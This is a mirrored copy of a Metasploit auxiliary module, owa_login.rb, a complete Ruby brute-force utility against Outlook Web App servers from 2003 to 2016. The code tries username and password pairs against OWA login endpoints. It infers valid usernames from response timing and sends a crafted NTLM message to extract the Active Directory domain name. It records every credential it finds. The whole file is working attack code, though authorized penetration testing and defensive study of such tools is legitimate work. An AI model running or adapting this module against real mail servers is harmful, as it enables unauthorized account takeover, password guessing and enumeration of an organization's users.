Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

owa_login.rb 13KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'rex/proto/ntlm/message'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Auxiliary::Report
  8. include Msf::Auxiliary::AuthBrute
  9. include Msf::Exploit::Remote::HttpClient
  10. include Msf::Auxiliary::Scanner
  11. def initialize
  12. super(
  13. 'Name' => 'Outlook Web App (OWA) Brute Force Utility',
  14. 'Description' => %q{
  15. This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
  16. },
  17. 'Author' =>
  18. [
  19. 'Vitor Moreira',
  20. 'Spencer McIntyre',
  21. 'SecureState R&D Team',
  22. 'sinn3r',
  23. 'Brandon Knight',
  24. 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
  25. 'Nate Power', # HTTP timing option
  26. 'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
  27. 'Andrew Smith' # valid creds, no mailbox
  28. ],
  29. 'License' => MSF_LICENSE,
  30. 'Actions' =>
  31. [
  32. [
  33. 'OWA_2003',
  34. {
  35. 'Description' => 'OWA version 2003',
  36. 'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
  37. 'InboxPath' => '/exchange/',
  38. 'InboxCheck' => /Inbox/
  39. }
  40. ],
  41. [
  42. 'OWA_2007',
  43. {
  44. 'Description' => 'OWA version 2007',
  45. 'AuthPath' => '/owa/auth/owaauth.dll',
  46. 'InboxPath' => '/owa/',
  47. 'InboxCheck' => /addrbook.gif/
  48. }
  49. ],
  50. [
  51. 'OWA_2010',
  52. {
  53. 'Description' => 'OWA version 2010',
  54. 'AuthPath' => '/owa/auth.owa',
  55. 'InboxPath' => '/owa/',
  56. 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
  57. }
  58. ],
  59. [
  60. 'OWA_2013',
  61. {
  62. 'Description' => 'OWA version 2013',
  63. 'AuthPath' => '/owa/auth.owa',
  64. 'InboxPath' => '/owa/',
  65. 'InboxCheck' => /Inbox|logoff\.owa/
  66. }
  67. ],
  68. [
  69. 'OWA_2016',
  70. {
  71. 'Description' => 'OWA version 2016',
  72. 'AuthPath' => '/owa/auth.owa',
  73. 'InboxPath' => '/owa/',
  74. 'InboxCheck' => /Inbox|logoff\.owa/
  75. }
  76. ]
  77. ],
  78. 'DefaultAction' => 'OWA_2013',
  79. 'DefaultOptions' => {
  80. 'SSL' => true
  81. }
  82. )
  83. register_options(
  84. [
  85. OptInt.new('RPORT', [ true, "The target port", 443]),
  86. OptAddress.new('RHOST', [ true, "The target address" ]),
  87. OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
  88. OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])
  89. ])
  90. register_advanced_options(
  91. [
  92. OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", ''])
  93. ])
  94. deregister_options('BLANK_PASSWORDS', 'RHOSTS')
  95. end
  96. def setup
  97. # Here's a weird hack to check if each_user_pass is empty or not
  98. # apparently you cannot do each_user_pass.empty? or even inspect() it
  99. isempty = true
  100. each_user_pass do |user|
  101. isempty = false
  102. break
  103. end
  104. raise ArgumentError, "No username/password specified" if isempty
  105. end
  106. def run
  107. vhost = datastore['VHOST'] || datastore['RHOST']
  108. print_status("#{msg} Testing version #{action.name}")
  109. auth_path = action.opts['AuthPath']
  110. inbox_path = action.opts['InboxPath']
  111. login_check = action.opts['InboxCheck']
  112. domain = nil
  113. if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
  114. domain = datastore['AD_DOMAIN']
  115. end
  116. if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
  117. domain = get_ad_domain
  118. end
  119. begin
  120. each_user_pass do |user, pass|
  121. next if (user.blank? or pass.blank?)
  122. vprint_status("#{msg} Trying #{user} : #{pass}")
  123. try_user_pass({
  124. user: user,
  125. domain: domain,
  126. pass: pass,
  127. auth_path: auth_path,
  128. inbox_path: inbox_path,
  129. login_check: login_check,
  130. vhost: vhost
  131. })
  132. end
  133. rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
  134. print_error("#{msg} HTTP Connection Error, Aborting")
  135. end
  136. end
  137. def try_user_pass(opts)
  138. user = opts[:user]
  139. pass = opts[:pass]
  140. auth_path = opts[:auth_path]
  141. inbox_path = opts[:inbox_path]
  142. login_check = opts[:login_check]
  143. vhost = opts[:vhost]
  144. domain = opts[:domain]
  145. user = domain + '\\' + user if domain
  146. headers = {
  147. 'Cookie' => 'PBack=0'
  148. }
  149. if datastore['SSL']
  150. if ["OWA_2013", "OWA_2016"].include?(action.name)
  151. data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
  152. else
  153. data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
  154. end
  155. else
  156. if ["OWA_2013", "OWA_2016"].include?(action.name)
  157. data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
  158. else
  159. data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
  160. end
  161. end
  162. begin
  163. if datastore['AUTH_TIME']
  164. start_time = Time.now
  165. end
  166. res = send_request_cgi({
  167. 'encode' => true,
  168. 'uri' => auth_path,
  169. 'method' => 'POST',
  170. 'headers' => headers,
  171. 'data' => data
  172. })
  173. if datastore['AUTH_TIME']
  174. elapsed_time = Time.now - start_time
  175. end
  176. rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
  177. print_error("#{msg} HTTP Connection Failed, Aborting")
  178. return :abort
  179. end
  180. if not res
  181. print_error("#{msg} HTTP Connection Error, Aborting")
  182. return
  183. end
  184. if res.peerinfo['addr'] != datastore['RHOST']
  185. vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
  186. end
  187. if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
  188. print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
  189. return :abort
  190. end
  191. if ["OWA_2013", "OWA_2016"].include?(action.name)
  192. # Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
  193. # Check if the password needs to be changed.
  194. if res.headers['location'] =~ /expiredpassword/
  195. print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
  196. report_cred(
  197. ip: res.peerinfo['addr'],
  198. port: datastore['RPORT'],
  199. service_name: 'owa',
  200. user: user,
  201. password: pass
  202. )
  203. return :next_user
  204. end
  205. # No password change required moving on.
  206. # Check for valid login but no mailbox setup
  207. print_good("server type: #{res.headers["X-FEServer"]}")
  208. if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
  209. print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
  210. report_cred(
  211. ip: res.peerinfo['addr'],
  212. port: datastore['RPORT'],
  213. service_name: 'owa',
  214. user: user,
  215. password: pass
  216. )
  217. return :next_user
  218. end
  219. unless location = res.headers['location']
  220. print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")
  221. return :abort
  222. end
  223. reason = location.split('reason=')[1]
  224. if reason == nil
  225. headers['Cookie'] = 'PBack=0;' << res.get_cookies
  226. else
  227. # Login didn't work. no point in going on, however, check if valid domain account by response time.
  228. if elapsed_time <= 1
  229. report_cred(
  230. ip: res.peerinfo['addr'],
  231. port: datastore['RPORT'],
  232. service_name: 'owa',
  233. user: user
  234. )
  235. print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
  236. return :Skip_pass
  237. else
  238. vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
  239. return :Skip_pass
  240. end
  241. end
  242. else
  243. # The authentication info is in the cookies on this response
  244. cookies = res.get_cookies
  245. cookie_header = 'PBack=0'
  246. %w(sessionid cadata).each do |necessary_cookie|
  247. if cookies =~ /#{necessary_cookie}=([^;]*)/
  248. cookie_header << "; #{Regexp.last_match(1)}"
  249. else
  250. print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
  251. return :abort
  252. end
  253. end
  254. headers['Cookie'] = cookie_header
  255. end
  256. begin
  257. res = send_request_cgi({
  258. 'uri' => inbox_path,
  259. 'method' => 'GET',
  260. 'headers' => headers
  261. }, 20)
  262. rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
  263. print_error("#{msg} HTTP Connection Failed, Aborting")
  264. return :abort
  265. end
  266. if not res
  267. print_error("#{msg} HTTP Connection Error, Aborting")
  268. return :abort
  269. end
  270. if res.redirect?
  271. if elapsed_time <= 1
  272. report_cred(
  273. ip: res.peerinfo['addr'],
  274. port: datastore['RPORT'],
  275. service_name: 'owa',
  276. user: user
  277. )
  278. print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
  279. return :Skip_pass
  280. else
  281. vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
  282. return :skip_pass
  283. end
  284. end
  285. if res.body =~ login_check
  286. print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
  287. report_cred(
  288. ip: res.peerinfo['addr'],
  289. port: datastore['RPORT'],
  290. service_name: 'owa',
  291. user: user,
  292. password: pass
  293. )
  294. return :next_user
  295. else
  296. if elapsed_time <= 1
  297. report_cred(
  298. ip: res.peerinfo['addr'],
  299. port: datastore['RPORT'],
  300. service_name: 'owa',
  301. user: user
  302. )
  303. print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
  304. return :Skip_pass
  305. else
  306. vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
  307. return :skip_pass
  308. end
  309. end
  310. end
  311. def get_ad_domain
  312. urls = ['aspnet_client',
  313. 'Autodiscover',
  314. 'ecp',
  315. 'EWS',
  316. 'Microsoft-Server-ActiveSync',
  317. 'OAB',
  318. 'PowerShell',
  319. 'Rpc']
  320. domain = nil
  321. urls.each do |url|
  322. begin
  323. res = send_request_cgi({
  324. 'encode' => true,
  325. 'uri' => "/#{url}",
  326. 'method' => 'GET',
  327. 'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
  328. })
  329. rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
  330. vprint_error("#{msg} HTTP Connection Failed")
  331. next
  332. end
  333. if not res
  334. vprint_error("#{msg} HTTP Connection Timeout")
  335. next
  336. end
  337. if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
  338. hash = res['WWW-Authenticate'].split('NTLM ')[1]
  339. domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
  340. print_good("Found target domain: #{domain}")
  341. return domain
  342. end
  343. end
  344. return domain
  345. end
  346. def report_cred(opts)
  347. service_data = {
  348. address: opts[:ip],
  349. port: opts[:port],
  350. service_name: opts[:service_name],
  351. protocol: 'tcp',
  352. workspace_id: myworkspace_id
  353. }
  354. # Test if password was passed, if so, add private_data. If not, assuming only username was found
  355. if opts.has_key?(:password)
  356. credential_data = {
  357. origin_type: :service,
  358. module_fullname: fullname,
  359. username: opts[:user],
  360. private_data: opts[:password],
  361. private_type: :password
  362. }.merge(service_data)
  363. else
  364. credential_data = {
  365. origin_type: :service,
  366. module_fullname: fullname,
  367. username: opts[:user]
  368. }.merge(service_data)
  369. end
  370. login_data = {
  371. core: create_credential(credential_data),
  372. last_attempted_at: DateTime.now,
  373. status: Metasploit::Model::Login::Status::SUCCESSFUL,
  374. }.merge(service_data)
  375. create_credential_login(login_data)
  376. end
  377. def msg
  378. "#{vhost}:#{rport} OWA -"
  379. end
  380. end